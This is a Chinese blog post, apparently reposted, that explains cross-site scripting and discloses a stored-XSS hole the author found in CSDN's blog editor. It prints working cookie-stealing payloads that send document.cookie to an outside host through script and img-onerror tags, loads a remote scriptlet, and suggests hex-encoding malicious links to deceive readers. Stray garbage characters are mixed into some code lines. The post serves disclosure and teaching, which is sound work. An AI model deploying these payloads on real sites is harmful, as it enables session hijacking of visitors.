您的位置:首页 > 运维架构 > 网站架构

网站编程安全之---跨站漏洞(发现csdn的一个安全露洞)

2009-12-03 12:21 766 查看
跨站攻击,即Cross Site Script
Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入信息的过滤不足漏洞,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

安全领域有一句著名的话叫做,“永远也不要相信用户的输入”。

所以,在网络的安全过滤方面一定要慎之有慎!

通常的XSS技术能够强迫用户执行攻击者以受害者名义在某个域上选择的脚本,如JavaScript、VBScript、ActionScript,等等。

1 b; Q2 c3 _2 B+ G- {7 G

huoz1 b; Q2 c3 _2 B+ G- {7 G

下面举例来说明类似的安全攻击:

将下面的代码放在一些忽略安全防护的网络站点处,比如留言,

<script>

9 I- ^0 |; ]7 t( h% G z

window.open("http://www.mysitename.cn/index.php?cookies="+document.cookie);# h1 ^2 /( b3 u' c/ f* }# _

</script>

或者

<script>

document.location.href = "http://www.mysitename.cn/index.php?cookies="+document.cookie;# h1 ^2 /( b3 u' c/ f* }# _

</script>

在打开页面时将同时打开另一个页面或者跳转到另一个页面并将cookies值暴露。

更为高明的做法将会是,将要跳转的URL通过电子邮件或其他方式发送出去。注意

如果你直接将URL发送给其他人
(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗“大部分人”。

下面的一个例子是在uc或者csdn上测试成功的攻击例子:


例如就像这个发blog的编辑器,它有个很好的调试html代码的功能,一般的用户是不会去使用的,我在测试时使用了这个功能:先将一段js代码直接放置在编辑器模式下发表blog测试,ok没有问题,因为编辑器是以ubb的方式来保护的,对于其他的未包括的html代码则一律过滤成了源码的形式,即:相对是使用了PHP下的htmlspecialchars函数,因此,没有问题以输入的形式输出。接下来,我尝试了用html源代码的方式来,分别贴下如下的代码


1。<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>

2。<img src='lesorb.jpg' onerror="javascript:location.href ='http://localhost/index.php?cookies='+document.cookie;">

当我在访问的刚刚发表的blog的时候:

1.就有alert提示弹了出来,

或者-〉

2.csdn的页面直接就跳转到了我的站内(主机上的服务器地址)上,并且在ie7下(firefox下没有输出)输出了长长的cookie值......

而作为用户保护自我的最好方法就是仅点击你想访问的那个网站上的链接。例如,如果你访问了一个网站,该网站有一个链接指向了renren,那么不要单击该链接,而是访问renren 的主站点或使用搜索引擎查找相关内容。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高,可以防止cookie被盗。

在这里提醒CSDN的管理员或开发人员:完善安全过滤,防止xss攻击!

我的blog原文地址:http://www.lesorb.cn/2009/12/03/282
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: